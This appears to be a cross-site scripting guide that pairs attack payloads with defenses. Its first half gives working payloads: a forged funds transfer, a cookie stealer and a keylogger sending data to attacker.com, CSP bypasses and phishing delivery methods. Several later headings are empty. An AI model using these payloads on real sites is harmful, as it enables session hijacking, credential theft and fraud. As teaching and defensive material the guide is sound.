Cross-Site Scripting (XSS) Comprehensive Guide

Basic Payload:

http://example.com/search?q=<script>alert(document.domain)</script>

Simple proof-of-concept demonstrating script execution in victims browser

Advanced Exploit (Banking Scenario):

http://bank.com/transfer?amount=1000&to=attacker
<script>
  fetch('/api/transfer', {
    method: 'POST',
    body: JSON.stringify({amount:5000,to:'ATTACKER'}),
    credentials: 'include'
  }).then(() => {
    window.location = 'http://bank.com/confirmation'
  })
</script>

Silently performs unauthorized transfer while maintaining appearance of legitimacy

Delivery Methods:

• Phishing emails with malicious links
• Shortened URLs hiding the payload
• Compromised websites redirecting to vulnerable endpoints
• Malicious QR codes

Cookie Theft Payload:

<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookies: document.cookie,
      url: window.location.href,
      userAgent: navigator.userAgent
    }),
    mode: 'no-cors',
    credentials: 'include'
  })
</script>

Comprehensive credential harvesting including session cookies

Advanced Keylogger:

<script>
  const loggedKeys = [];
  const targetForms = ['login', 'payment', 'password'];
  
  document.addEventListener('keypress', (e) => {
    loggedKeys.push({
      key: e.key,
      time: new Date().toISOString(),
      target: e.target.id || e.target.name
    });
  });

  setInterval(() => {
    if (loggedKeys.length > 0) {
      fetch('https://attacker.com/log', {
        method: 'POST',
        body: JSON.stringify(loggedKeys.splice(0)),
        mode: 'no-cors'
      });
    }
  }, 5000);
</script>

Captures keystrokes with context and timing information

Common Injection Points:

• User-generated content: Comments, forum posts, product reviews
  • Often vulnerable due to rich text editors or improper sanitization
• User profiles: Display names, bios, avatar URLs
  • Profile fields may be displayed to other users without proper escaping
• Administrative interfaces: Log viewers, system messages
  • May be vulnerable if they display unsanitized logs or user input

Location.hash Vulnerability:

// Vulnerable code in application:
document.getElementById('content').innerHTML = 
  decodeURIComponent(window.location.hash.substring(1));

// Exploit URL:
https://example.com/#<img src=x onerror=alert(1)>

User-controlled hash value written directly to innerHTML

Common Dangerous Sinks:

Detection Challenges:

• No server-side payload to detect (pure client-side)
• May only trigger under specific DOM states
• Difficult to identify during static analysis
• Often requires dynamic testing with tools like DOM Invader

Polyglot Payloads:

javascript:/*--></title></style></textarea>
</script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Works in multiple contexts (HTML, JavaScript, SVG) simultaneously

CSP Bypasses:

// If 'unsafe-eval' is allowed:
<script>
  location='javascript:alert(1)'
</script>

// If AngularJS is present:
{{constructor.constructor('alert(1)')()}}

// If JSONP endpoints are allowed:
<script src="/api/user?callback=alert(1)//"></script>

Exploitation Frameworks:

• BeEF (Browser Exploitation Framework):
  • Hook browsers and execute complex attacks
  • Includes modules for fingerprinting, social engineering, and exploitation
• XSS Hunter:
  • Captures blind XSS triggers with screenshots and DOM data
  • Provides notification when payloads execute
• XSStrike:
  • Automated XSS detection with fuzzing and AI
  • Bypasses WAFs with contextual analysis

Comprehensive Validation Strategy:

• Allowlist Validation:

  // Only allow alphanumeric plus basic punctuation
  const isValid = /^[a-zA-Z0-9 .,!?-]+$/.test(input);

  Reject rather than sanitize invalid input

• Type and Length Checking:
  • Enforce maximum lengths for all fields
  • Validate data types (numbers, emails, etc.)
  • Implement business logic validation
• Context-Specific Rules:
  • Different rules for names vs. addresses vs. HTML content
  • Special handling for rich text editor inputs

Trusted Sanitization Libraries:

Context-Specific Encoding Guide:

Framework Auto-Escaping Features:

• React:
  • Automatic JSX escaping
  • DangerouslySetInnerHTML for explicit raw HTML
• Angular:
  • Template sanitization
  • DomSanitizer service for bypass cases
• Vue:
  • Automatic escaping in templates
  • v-html directive for explicit raw HTML

Optimal CSP Configuration:

Content-Security-Policy:
  default-src 'none';                 # Default deny
  script-src 'self' 'nonce-{random}'; # Only same-origin + nonced scripts
  style-src 'self' 'unsafe-inline';   # Inline styles allowed
  img-src 'self' data:;               # Images from self and data URIs
  connect-src 'self';                 # XHR/fetch to same origin
  font-src 'self';                    # Fonts from same origin
  object-src 'none';                  # No Flash/plugins
  frame-src 'none';                   # No iframes
  base-uri 'self';                    # Restrict base URLs
  form-action 'self';                 # Form submission targets
  report-uri /csp-report;             # Violation reporting
  report-to csp-endpoint;             # New reporting standard

CSP Implementation Strategy:

1. Start with Report-Only mode:

   Content-Security-Policy-Report-Only: ...

2. Use nonces or hashes for inline scripts:

   <script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
     // Inline script allowed by CSP
   </script>

3. Restrict object-src and frame-src to 'none':

   Prevents Flash-based and frame-based attacks

4. Implement reporting:

   Monitor for violations before enforcement

Secure Cookie Attributes:

Set-Cookie: 
  sessionId=abc123; 
  Secure;               # HTTPS only
  HttpOnly;             # No JavaScript access
  SameSite=Lax;         # CSRF protection
  Path=/;               # Accessible site-wide
  Domain=example.com;   # Specific domain
  Max-Age=3600;         # 1 hour expiration
  Priority=High;        # Defense against CRIME

Advanced Session Protections:

• Short-Lived Sessions:
  • 15-30 minute inactivity timeouts
  • Absolute maximum of 4-8 hours
• Contextual Validation:
  • IP address fingerprinting
  • User-Agent consistency checks
  • Geolocation verification
• JWT Best Practices:
  • Short expiration times (minutes not hours)
  • HMAC with strong secrets
  • Storage in httpOnly cookies (not localStorage)

Detection Techniques:

• Web Application Firewalls (WAF):
  • Signature-based detection of XSS patterns
  • Behavioral analysis of suspicious inputs
• Static Application Security Testing (SAST):
  • Code analysis for vulnerable patterns
  • Integration in CI/CD pipelines
• Dynamic Analysis (DAST):
  • Automated scanning of running applications
  • Regular scheduled scans

Incident Response Plan:

1. Containment:
   • Remove malicious content
   • Force session termination
   • Block attack sources
2. Investigation:
   • Forensic analysis of logs
   • Determine attack vector
   • Identify affected users
3. Remediation:
   • Patch vulnerabilities
   • Rotate secrets
   • Update defenses
4. Communication:
   • Notify affected users
   • Internal reporting
   • Post-mortem analysis